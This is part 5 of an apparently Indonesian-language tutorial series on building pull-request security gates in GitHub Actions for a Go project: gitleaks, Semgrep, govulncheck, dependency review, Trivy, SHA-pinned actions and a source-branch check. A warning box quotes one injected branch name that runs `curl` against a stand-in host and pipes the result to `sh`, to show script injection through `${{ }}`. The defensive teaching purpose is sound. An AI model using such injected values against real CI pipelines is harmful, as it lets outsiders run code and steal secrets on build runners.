//BAGIAN 5 DARI 10
Bagian 5: Repo GitHub dan Workflow PR sebagai Security Gate
· 18 menit baca
English//TUTORIAL · 5 DARI 10 — Secure CI/CD Pipeline dengan Go, GitHub Actions, Vault, dan Dokploy
- 01Bagian 1: Kenapa Saya Bikin Secure CI/CD Pipeline, dan Persiapan Tools-nya
- 02Bagian 2: Vault, Secret, Policy, dan AppRole per Environment
- 03Bagian 3: Aplikasi Go Kecil yang Membaca Secret dari File dan Menolak Jalan Kalau Config Salah
- 04Bagian 4: Vault Agent Sidecar dan Docker Compose, Secret Masuk Tanpa App Tahu Vault Ada
- 05Bagian 5: Repo GitHub dan Workflow PR sebagai Security Gate
- 06Bagian 6: Ruleset yang Memblokir Merge, dan Lima Demo PR yang Harus Gagal
- 07Bagian 7: Menyiapkan Environment Dev dan Production di Dokploy
- 08Bagian 8: Workflow Deploy, Build Sekali, Scan, SBOM, GHCR, lalu Promosi ke Production
- 09Bagian 9: Proses Exception untuk Temuan Security yang Belum Bisa Diperbaiki
- 10Bagian 10: CI Mengambil Token Dokploy dari Vault lewat GitHub OIDC, dan Penutup Seri
Sampai Bagian 4, semuanya masih di laptop: Vault sudah siap, aplikasi Go sudah jadi, Vault Agent sidecar sudah jalan di Compose. Belum ada satu pun yang ada di GitHub.
Di bagian ini kodenya naik ke GitHub, lalu kita pasang security gate di setiap pull request. Hasil akhirnya: setiap PR ke development atau main otomatis menjalankan tujuh pemeriksaan, dan PR ke main dicek juga asal branch-nya.
Satu hal penting dari awal: bagian ini belum memblokir merge. Tujuannya membuat pemeriksaannya jalan dan hijau. Pemblokiran lewat ruleset ada di Bagian 6, karena GitHub baru bisa memilih nama status check sebagai required setelah workflow-nya pernah jalan minimal sekali.
PR ke development / main ──► pr-checks.yml ├─ test gofmt, go vet, go test -race ├─ gitleaks ada secret bocor? ├─ semgrep kode berbahaya (SAST) ├─ govulncheck vuln yang benar-benar dipanggil ├─ dependency-review dependency baru yang rentan ├─ trivy-config Dockerfile salah konfigurasi └─ trivy-image CVE CRITICAL yang sudah ada fix-nyaPR ke main ────────────────► source-branch.yml (harus dari development)Sebelum publik: scan seluruh history
Repo ini akan publik. Sekali secret ter-push ke repo publik, anggap sudah bocor. Bot memindai GitHub dalam hitungan menit, dan menghapus commit nggak menarik kembali salinan yang sudah diambil orang. Jadi scan sebelum push, bukan sesudah.
git statusgit log --oneline --graph --allgitleaks git . --redact --no-bannergitleaks git . memindai seluruh history git, bukan cuma file yang ada sekarang. Secret yang pernah di-commit lalu dihapus di commit berikutnya tetap ada di history, dan tetap ikut ter-push. --redact menyensor nilainya di output kalau sampai ketemu.
Cek hasil: baris terakhir harus no leaks found.
Catatan
Kenapa `testdata/` dan `vault/policies/` tetap di-commit
testdata/config.json berisi nilai dummy yang sengaja ditandai (dev-only-not-a-secret-...) dan dipakai oleh test. Kalau di-ignore, job test di CI langsung gagal karena filenya nggak ada. Yang masuk .gitignore itu .env, config.local.json, dan hasil build. testdata cukup masuk .dockerignore supaya nggak ikut ke image. Policy Vault juga bukan secret: isinya aturan akses, bukan kunci. Justru bagus di repo supaya perubahan hak akses lewat review PR.
Buat repo dan branch
Kode aplikasi sengaja nggak langsung di-push ke development. Saya mau semuanya masuk lewat PR, sama seperti kerja tim. Jadi main dan development dibuat dulu hanya berisi commit awal.
gh repo create dimss113/secure-cicd-go --public \ --description "Secure CI/CD demo: Go API, GitHub Actions security gates, Vault Agent sidecar, Dokploy"git remote add origin git@github.com:dimss113/secure-cicd-go.gitgit push -u origin maingit branch development maingit push -u origin developmentgh repo edit dimss113/secure-cicd-go --default-branch developmentgit branch development main membuat development dari isi main tanpa pindah branch. --default-branch development membuat PR baru otomatis mengarah ke sana.
Nyalakan pengaturan keamanan repo
Sebelum ada workflow, ada beberapa pengaturan repo yang jadi lapisan pertama:
REPO=dimss113/secure-cicd-go gh api -X PUT repos/$REPO/vulnerability-alerts gh api -X PATCH repos/$REPO \ -f "security_and_analysis[secret_scanning][status]=enabled" \ -f "security_and_analysis[secret_scanning_push_protection][status]=enabled" gh api -X PUT repos/$REPO/actions/permissions/workflow \ -f default_workflow_permissions=read \ -F can_approve_pull_request_reviews=falsePengaturan | Buat apa |
|---|---|
| Dependabot alerts untuk dependency di |
| Menolak |
|
|
| Workflow nggak boleh meng-approve PR. Workflow yang disusupi nggak bisa meloloskan PR-nya sendiri |
-f mengirim nilai sebagai string, -F mengenali tipe, jadi false terkirim sebagai boolean.
Cek hasil:
gh api repos/$REPO --jq .security_and_analysisgh api repos/$REPO/actions/permissions/workflow# {"default_workflow_permissions":"read","can_approve_pull_request_reviews":false}Pastikan juga Dependency graph menyala di Settings → Advanced Security. Job dependency-review butuh itu. Untuk repo publik biasanya sudah otomatis menyala.
Lalu kode aplikasi masuk lewat PR #1:
git switch feature/vault-agentgit push -u origin feature/vault-agentgh pr create --base development --head feature/vault-agent \ --title "feat: go api with vault agent sidecar"gh pr merge --merge --delete-branchPR #1 ini belum menjalankan pemeriksaan apa pun, karena workflow-nya belum ada. Itu sengaja: PR #2 nanti yang menambahkan workflow, dan workflow itu langsung memeriksa PR-nya sendiri.
Shift-left: scanner di laptop menemukan masalah nyata
Sebelum menulis workflow, saya jalankan dulu scanner yang nanti dipakai CI. Jauh lebih cepat ketahuan di laptop daripada menunggu CI merah.
git switch -c feature/pr-checksgo run golang.org/x/vuln/cmd/govulncheck@v1.9.0 ./...Dan ternyata langsung ada temuan:
Vulnerability #1: GO-2026-6809 Distrust compromised intermediate certificates in crypto/x509 Found in: crypto/x509@go1.27.1 Fixed in: crypto/x509@go1.27.3 Example traces found: #1: internal/cryptobox/cryptobox.go:40:24: cryptobox.Box.Encrypt calls rand.Read, which eventually calls x509.Certificate.VerifyVulnerability #2: GO-2026-6617 HTTP/2 server crash due to HPACK encoder race in net/http Found in: net/http/internal/http2@go1.27.1 Fixed in: net/http/internal/http2@go1.27.2exit status 3Masalahnya ada di standard library Go 1.27.1, bukan di kode saya. Bagian Example traces itu yang membuat govulncheck berharga: ia membuktikan kode kita benar-benar memanggil fungsi yang rentan, bukan sekadar mencocokkan nomor versi. exit status 3 artinya di CI job ini akan gagal.
Perbaikannya: naikkan Go ke 1.27.3. Dan ini yang sempat bikin saya hampir tertipu: harus di dua tempat.
go mod edit -toolchain=go1.27.3FROM golang:1.27.3-alpine@sha256:d200d2dd76b03a99b52651fd1325aff7dcd35422c35c01bac56571b0507f3deb AS buildPerhatian
Hijau palsu kalau cuma `go.mod` yang dinaikkan
go.mod dibaca oleh actions/setup-go di CI, jadi govulncheck akan hijau. Tapi image resmi golang memasang GOTOOLCHAIN=local, artinya Go 1.27.1 di dalam image nggak otomatis naik walau go.mod minta 1.27.3. Hasilnya: CI hijau, padahal binary yang jalan di server tetap dibangun dengan versi rentan. Versi di go.mod dan Dockerfile harus selalu sama.
Digest sha256:… itu diambil dari registry, bukan dikarang: docker buildx imagetools inspect golang:1.27.3-alpine, ambil baris Digest: paling atas. Itu digest index multi-arsitektur, jadi build di Mac tetap memilih arm64 dan di runner GitHub memilih amd64.
Cek hasil:
go run golang.org/x/vuln/cmd/govulncheck@v1.9.0 ./... # No vulnerabilities found.go test -race ./...docker build -t scg-check . && trivy image --severity HIGH,CRITICAL scg-checkgit commit -am "fix: build with go 1.27.3 to pick up stdlib security fixes"Menariknya, Trivy juga melihat masalah yang sama di image lama: 4 temuan HIGH di stdlib. Tapi gate Trivy image nanti nggak akan memblokir itu, karena aturannya hanya CRITICAL. Kenapa begitu, dibahas di bawah.
Workflow pr-checks.yml
Semua job ada di satu file .github/workflows/pr-checks.yml. Saya tunjukkan per bagian supaya penjelasannya dekat dengan kodenya.
Bagian atas
name: pr-checks on: pull_request: branches: [development, main] permissions: contents: read concurrency: group: pr-checks-${{ github.event.pull_request.number }} cancel-in-progress: trueon: pull_requestjalan saat PR kedevelopmentataumaindibuka atau di-push ulang. Sengaja bukanpull_request_target: untuk PR dari fork,pull_requestjalan dengan token read-only dan tanpa secret repo.pull_request_targetjalan dengan hak penuh repo tujuan, dan kalau sambil men-checkout kode PR, orang asing bisa menjalankan kodenya dengan secret kamu.permissions: contents: readjadi hak default untuk semua job: hanya baca kode.concurrencymembatalkan run lama kalau kamu push commit baru ke PR yang sama. Hemat menit runner, dan hasilnya selalu untuk commit terbaru.
Ada beberapa kebiasaan yang berulang di setiap job:
Kebiasaan | Alasan |
|---|---|
ID job ( | Itu juga nama status check. Ruleset di Bagian 6 memilih nama ini, jadi jangan diganti-ganti |
| Versi dipatok, bukan |
| Job yang macet dibunuh cepat. Default GitHub 360 menit |
| Checkout nggak menyimpan token di disk runner |
| Action dipatok ke commit SHA penuh |
Pin action ke commit SHA
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1Tag seperti v7 atau v0.36.0 bisa dipindah oleh pemilik repo, atau oleh penyerang yang membobol akunnya, ke kode lain. Workflow yang memakai tag langsung menjalankan kode itu, padahal kodenya ikut membaca repo dan token kamu. Kasus nyatanya tj-actions/changed-files di Maret 2025: semua tag-nya diarahkan ke kode yang membocorkan secret CI ke log. Commit SHA nggak bisa dipindah. Komentar # v7.0.1 cuma pengingat untuk manusia.
Cara mencari SHA sendiri waktu upgrade:
gh api repos/actions/checkout/commits/v7.0.1 --jq .shaKalau di Settings → Actions → General ada opsi "Require actions to be pinned to a full-length commit SHA", centang. GitHub akan menolak uses: yang masih pakai tag.
persist-credentials: false
Untuk clone, actions/checkout memakai GITHUB_TOKEN. Default-nya token itu disimpan di runner supaya perintah git berikutnya otomatis ter-autentikasi. Masalahnya, go test menjalankan kode dari PR. Test jahat bisa membaca file kredensial itu lalu mengirimnya ke luar. Action pihak ketiga di job yang sama juga bisa membacanya. Workflow ini nggak pernah git push, jadi token-nya nggak perlu disimpan sama sekali.
Ini berlapis dengan contents: read dan umur token yang habis saat job selesai. Satu lapisan gagal, lapisan lain masih menahan.
Job test
test: runs-on: ubuntu-24.04 timeout-minutes: 10 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 with: go-version-file: go.mod - name: gofmt run: | unformatted="$(gofmt -l .)" if [ -n "$unformatted" ]; then echo "::error::These files are not gofmt-ed:" echo "$unformatted" exit 1 fi - name: go vet run: go vet ./... - name: go test run: go test -race ./...Runner itu VM kosong, jadi butuh dua uses:: satu mengambil kode, satu memasang Go. go-version-file: go.mod membaca baris toolchain go1.27.3, jadi versinya deterministik. gofmt -l hanya menampilkan nama file yang belum diformat, nggak mengubahnya. ::error:: tampil sebagai anotasi merah di ringkasan run. -race mendeteksi data race di test.
Job gitleaks
gitleaks: runs-on: ubuntu-24.04 timeout-minutes: 10 permissions: contents: read security-events: write steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: fetch-depth: 0 persist-credentials: false - name: Install gitleaks env: GITLEAKS_VERSION: 8.30.1 GITLEAKS_SHA256: 551f6fc83ea457d62a0d98237cbad105af8d557003051f41f3e7ca7b3f2470eb run: | curl -sSfL -o gitleaks.tar.gz \ "https://github.com/gitleaks/gitleaks/releases/download/v${GITLEAKS_VERSION}/gitleaks_${GITLEAKS_VERSION}_linux_x64.tar.gz" echo "${GITLEAKS_SHA256} gitleaks.tar.gz" | sha256sum --check - tar -xzf gitleaks.tar.gz gitleaks rm gitleaks.tar.gz - name: Scan PR commits env: BASE_SHA: ${{ github.event.pull_request.base.sha }} HEAD_SHA: ${{ github.event.pull_request.head.sha }} run: | ./gitleaks git . --no-banner --redact \ --log-opts="${BASE_SHA}..${HEAD_SHA}" \ --report-format sarif --report-path gitleaks.sarif - name: Upload SARIF if: ${{ !cancelled() }} uses: github/codeql-action/upload-sarif@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1 with: sarif_file: gitleaks.sarif category: gitleaksGagal kalau: ada secret apa pun di commit milik PR ini. Nggak ada ambang severity, secret itu ya secret.
Beberapa hal yang perlu diperhatikan:
Saya nggak pakai
gitleaks/gitleaks-actionkarena lisensinya EULA, bukan open source. Jadi binary resmi diunduh, lalu dicocokkan dengan hash SHA-256 yang dipatok. Prinsipnya sama dengan pin SHA: kalau file rilis diganti orang, hash-nya beda dan job berhenti.fetch-depth: 0mengambil seluruh history. Default checkout cuma satu commit, dan secret yang ditambah di commit tengah lalu dihapus di commit terakhir tetap harus ketahuan. Tanpa ini gitleaks errorInvalid revision range.--log-opts="BASE..HEAD"membatasi scan ke commit milik PR ini saja.--redactpenting karena log Actions di repo publik bisa dibaca siapa saja.
Perhatian
Blok `permissions:` di job mengganti, bukan menambah
Begitu job menulis permissions: sendiri, default contents: read dari atas hilang untuk job itu. Makanya contents: read ditulis ulang di samping security-events: write. Hak security-events: write hanya diberikan ke job yang upload SARIF.
SARIF dan tab Security
SARIF adalah format JSON standar untuk hasil scan. Gitleaks, Semgrep, dan Trivy punya output sendiri-sendiri, tapi semuanya bisa menulis SARIF, dan GitHub cukup paham satu format itu. Setelah di-upload lewat github/codeql-action/upload-sarif, temuan muncul di Security → Code scanning, dan temuan baru tampil sebagai anotasi di baris kode di tab Files changed PR. Riwayatnya juga tersimpan: kapan muncul, kapan diperbaiki, kapan di-dismiss. Ini nanti dipakai di Bagian 9.
Dua detail kecil yang penting:
categoryharus beda untuk tiap tool. Kalau sama, hasilnya saling menimpa.if: ${{ !cancelled() }}. Secara default setiap langkah punyaif: success(), jadi begitu scan menemukan secret (exit 1), upload dilewati dan laporannya hilang. Padahal laporan paling dibutuhkan justru saat ada temuan.!cancelled()artinya "jalan selama run nggak dibatalkan", sukses maupun gagal. Status job tetap merah, jadi gate-nya tetap bekerja. Saya nggak pakaialways()karena itu tetap jalan walau run dibatalkan olehconcurrency. Bungkus${{ }}dipakai karena!di awal nilai YAML punya arti khusus.
Catatan
SARIF itu laporan, bukan gate. Yang menentukan merah atau hijau tetap exit code langkah scan.
Job semgrep
semgrep: runs-on: ubuntu-24.04 timeout-minutes: 10 permissions: contents: read security-events: write container: image: semgrep/semgrep:1.182.0@sha256:4a34048c04fef049f71665047f074cffb00cc3d89482f965a5cd151d589237af steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - name: Semgrep scan run: | semgrep scan --config p/golang --config p/default --config p/secrets \ --severity ERROR --error --metrics=off \ --sarif-output=semgrep.sarif # Upload SARIF: sama seperti gitleaks, category: semgrepGagal kalau: ada temuan severity ERROR. WARNING dan INFO diabaikan supaya gate-nya nggak berisik.
Job ini jalan di dalam container resmi Semgrep CE, dipatok tag dan digest. Flag yang paling sering dilupakan orang adalah --error: tanpa itu, Semgrep selalu keluar sukses walaupun ada temuan. --metrics=off supaya nggak mengirim data pemakaian.
Catatan
`p/default` baru ditambahkan di Bagian 6
Versi pertama saya hanya pakai p/golang dan p/secrets. Waktu membuat demo PR yang sengaja berisi exec.Command("sh", "-c", input) di Bagian 6, ternyata p/golang nggak menangkapnya. Aturan dangerous-exec-command ada di p/default. Di sini saya tampilkan versi yang sudah diperbaiki, ceritanya lengkap di Bagian 6.
Job govulncheck
govulncheck: runs-on: ubuntu-24.04 timeout-minutes: 10 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 with: go-version-file: go.mod - name: govulncheck run: go run golang.org/x/vuln/cmd/govulncheck@v1.9.0 ./...Gagal kalau: ada vuln yang reachable, yaitu benar-benar dipanggil kode (exit 3). Ini perintah yang sama dengan yang tadi saya jalankan di laptop, tanpa action pihak ketiga. Karena govulncheck memeriksa standard library sesuai Go yang terpasang, versi Go harus dipatok lewat go.mod.
Job dependency-review
dependency-review: runs-on: ubuntu-24.04 timeout-minutes: 10 steps: - uses: actions/dependency-review-action@a1d282b36b6f3519aa1f3fc636f609c47dddb294 # v5.0.0 with: fail-on-severity: highGagal kalau: PR menambahkan atau menaikkan dependency yang punya vuln High atau Critical. Action ini membandingkan dependency graph sebelum dan sesudah PR, jadi nggak perlu checkout.
dependency-review | govulncheck | |
|---|---|---|
Yang dilihat | Hanya perubahan dependency di PR | Seluruh kode |
Dasar keputusan | Nomor versi | Apakah fungsi rentan benar-benar dipanggil |
Keduanya saling melengkapi: dependency-review menahan dependency rentan sebelum masuk, govulncheck menangkap vuln baru di dependency yang sudah lama ada.
Job trivy-config dan trivy-image
Dua job Trivy ini memeriksa hal yang berbeda:
trivy-config | trivy-image | |
|---|---|---|
Yang dipindai | Resepnya: | Hasilnya: image yang sudah di-build |
Mencari | Salah konfigurasi, misalnya jalan sebagai root | CVE di paket OS, stdlib Go, library |
Siapa yang bisa memperbaiki | Selalu kita | Kadang harus menunggu vendor |
Gagal kalau | HIGH atau CRITICAL | CRITICAL yang sudah ada fix-nya |
Beda ambangnya disengaja. Misconfig selalu bisa kita perbaiki saat itu juga, jadi HIGH pun memblokir. CVE yang belum ada perbaikannya nggak bisa diatasi dengan upgrade. Kalau ikut memblokir, semua PR bisa macet berhari-hari karena hal di luar kendali kita. HIGH cukup dicatat di tab Security. Trivy juga nggak memindai file Compose, jadi yang terbaca hanya dua Dockerfile.
trivy-image: runs-on: ubuntu-24.04 timeout-minutes: 15 permissions: contents: read security-events: write steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - name: Build image (not pushed) run: docker build -t secure-cicd-go:pr . - name: Trivy image (SARIF report) uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0 with: version: v0.76.1 scan-type: image image-ref: secure-cicd-go:pr severity: HIGH,CRITICAL limit-severities-for-sarif: true format: sarif output: trivy-image.sarif exit-code: 0 - name: Upload SARIF if: ${{ !cancelled() }} uses: github/codeql-action/upload-sarif@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1 with: sarif_file: trivy-image.sarif category: trivy-image - name: Trivy image (gate) uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0 with: version: v0.76.1 skip-setup-trivy: true scan-type: image image-ref: secure-cicd-go:pr severity: CRITICAL ignore-unfixed: true format: table exit-code: 1trivy-config bentuknya sama persis, hanya tanpa langkah build, dengan scan-type: config, scan-ref: ., category: trivy-config, dan gate-nya severity: HIGH,CRITICAL tanpa ignore-unfixed. Saya nggak tulis ulang di sini.
Pola laporan → upload → gate ini intinya. Langkah laporan pakai exit-code: 0, jadi nggak pernah gagal dan selalu mencatat semua HIGH dan CRITICAL. Langkah gate pakai exit-code: 1 dengan aturan yang lebih sempit, dan hasilnya tabel yang enak dibaca di log. Kalau gate ditaruh duluan lalu gagal, laporan nggak jalan dan tab Security kosong justru saat ada temuan.
Beberapa input lain: version: v0.76.1 memasang versi Trivy yang sama dengan laptop (tanpa ini action memasang versi default-nya yang lebih lama). skip-setup-trivy: true di langkah kedua karena Trivy sudah terpasang. Image-nya nggak di-push ke mana pun. Push baru terjadi di Bagian 8, setelah lolos.
Contoh nyata waktu saya uji di repo ini:
Baris
USER 65532:65532dihapus dari Dockerfile → trivy-config merah denganDS-0002 (HIGH): Specify at least 1 USER command. Ini nanti jadi salah satu demo PR di Bagian 6.Image dengan Go 1.27.1 → laporan mencatat 4 HIGH di
stdlib, tapi gate hijau karena nggak ada CRITICAL. Tetap saya perbaiki karena laporannya kelihatan, hanya saja nggak memblokir.
Perhatian
Salah ketik di `with:` nggak bikin job merah
Versi pertama saya menulis limit-se-for-sarif di job trivy-config. GitHub cuma memberi peringatan kuning Unexpected input(s), job tetap hijau, dan inputnya diam-diam diabaikan. actionlint juga nggak menangkapnya, karena untuk action yang dipatok ke SHA ia nggak tahu daftar input-nya. Saya baru sadar di Bagian 6. Hal yang sama bisa terjadi dengan persists-credentials (kelebihan huruf s): hardening-nya mati tanpa ada yang merah. Jadi baca anotasi kuning di ringkasan run, jangan cuma lihat centang hijau.
Catatan
Job `exceptions` dan `trivyignores`
Kalau kamu buka pr-checks.yml di repo final, ada satu job lagi bernama exceptions dan input trivyignores: .trivyignore di langkah Trivy. Keduanya bagian dari proses exception di Bagian 9, beserta file .trivyignore dan .gitleaksignore. Di tahap ini file-file itu belum ada.
Workflow source-branch.yml
Alur yang saya mau: ke main hanya boleh lewat development. Workflow kecil ini memaksanya.
name: source-branch on: pull_request: branches: [main] permissions: {} jobs: source-branch: runs-on: ubuntu-24.04 timeout-minutes: 2 steps: - name: Only development may open a PR into main env: HEAD_REF: ${{ github.head_ref }} run: | if [ "$HEAD_REF" != "development" ]; then echo "::error::PR into main must come from development, not '$HEAD_REF'" exit 1 fi echo "Source branch is development: OK"permissions: {} artinya token tanpa hak apa pun. Job ini nggak butuh membaca kode, jadi nggak ada checkout. github.head_ref adalah nama branch sumber PR.
Bahaya
Jangan tulis `${{ }}` dari input pengguna langsung di `run:`
${{ ... }} disisipkan sebagai teks ke skrip sebelum bash menjalankannya. Nama branch ditentukan pembuat PR, dan di repo publik siapa pun bisa membuat PR dari fork. Branch bisa saja bernama a";curl${IFS}evil.sh|sh;". Kalau ditulis if [ "${{ github.head_ref }}" != ... ], perintah itu ikut dieksekusi di runner. Lewat env:, nilainya masuk sebagai variabel, dan bash memperlakukan "$HEAD_REF" sebagai data. Ini juga alasan BASE_SHA dan HEAD_SHA di job gitleaks lewat env:.
Lint, push, dan PR #2
Sebelum push, cek dulu workflow-nya dengan actionlint. Ia menangkap salah ketik kunci, ekspresi ${{ }} yang salah, dan menjalankan shellcheck ke isi run: kalau shellcheck terpasang. Tanpa output artinya bersih.
go run github.com/rhysd/actionlint/cmd/actionlint@v1.7.12git add .github/workflows/pr-checks.yml .github/workflows/source-branch.ymlgit commit -m "ci: add pull request security gates"git push -u origin feature/pr-checksgh pr create --base development --title "ci: add pull request security gates"gh pr checks --watchFile disebut satu per satu di git add, bukan git add ., supaya nggak ada file tak sengaja yang ikut. gh pr checks --watch terus memperbarui status sampai semua selesai.
Cek hasil:
✓ pr-checks/dependency-review✓ pr-checks/gitleaks✓ pr-checks/govulncheck✓ pr-checks/semgrep✓ pr-checks/test✓ pr-checks/trivy-config✓ pr-checks/trivy-imagesource-branch nggak muncul, dan itu benar: PR ini menuju development, bukan main.
Cek juga tab Security:
gh api repos/dimss113/secure-cicd-go/code-scanning/analyses \ --jq '.[] | .category + " results=" + (.results_count|tostring)'Harusnya ada empat kategori, gitleaks, semgrep, trivy-config, trivy-image, masing-masing results=0. Kalau ada yang merah, gh run view --log-failed menampilkan hanya log langkah yang gagal.
Setelah semuanya hijau, merge:
gh pr merge --merge --delete-branchgit switch development && git pullPerhatian
Merge ini masih bisa dilakukan walau ada check merah. Belum ada ruleset. Jadi untuk sekarang, pastikan sendiri semuanya hijau sebelum merge.
Kalau ada masalah
Gejala | Penyebab | Solusi |
|---|---|---|
| Push protection menemukan pola secret | Lapisan pertama bekerja. Hapus secret dari commit, jangan pilih "allow" |
Upload SARIF: | Job nggak punya | Cek blok |
Upload SARIF: | Repo masih privat | Code scanning gratis hanya untuk repo publik |
| Dependency graph mati | Nyalakan di Settings → Advanced Security |
Gitleaks | History nggak lengkap |
|
| File unduhan beda dari hash | Jangan asal ganti hash. Cek |
govulncheck gagal di CI, lolos di laptop | Versi Go beda | Pastikan baris |
Rangkuman
Repo publik
dimss113/secure-cicd-godengandevelopmentsebagai default branch, history sudah di-scan Gitleaks sebelum publik.Dependabot alerts, secret scanning, push protection menyala. Token Actions default read-only dan workflow nggak bisa approve PR.
Go dinaikkan ke 1.27.3 di
go.moddanDockerfilesetelah govulncheck menemukan dua vuln stdlib yang reachable.pr-checks.ymldengan tujuh job: test, gitleaks, semgrep, govulncheck, dependency-review, trivy-config, trivy-image. Masing-masing punya ambang gagal yang jelas.Hasil Gitleaks, Semgrep, dan Trivy masuk ke tab Security lewat SARIF.
Semua action dipatok ke commit SHA,
permissions:minimal per job,persist-credentials: false, input pengguna lewatenv:.source-branch.ymlyang menolak PR kemainkalau bukan daridevelopment.
Sekarang semua check sudah jalan, tapi masih bisa diabaikan. Di Bagian 6 kita pasang ruleset supaya check merah benar-benar memblokir merge, lalu membuktikannya dengan demo PR yang sengaja berisi secret, kode berbahaya, dependency rentan, dan container root. Dari situ juga ketahuan dua kelemahan gate di atas yang tadi saya sebut.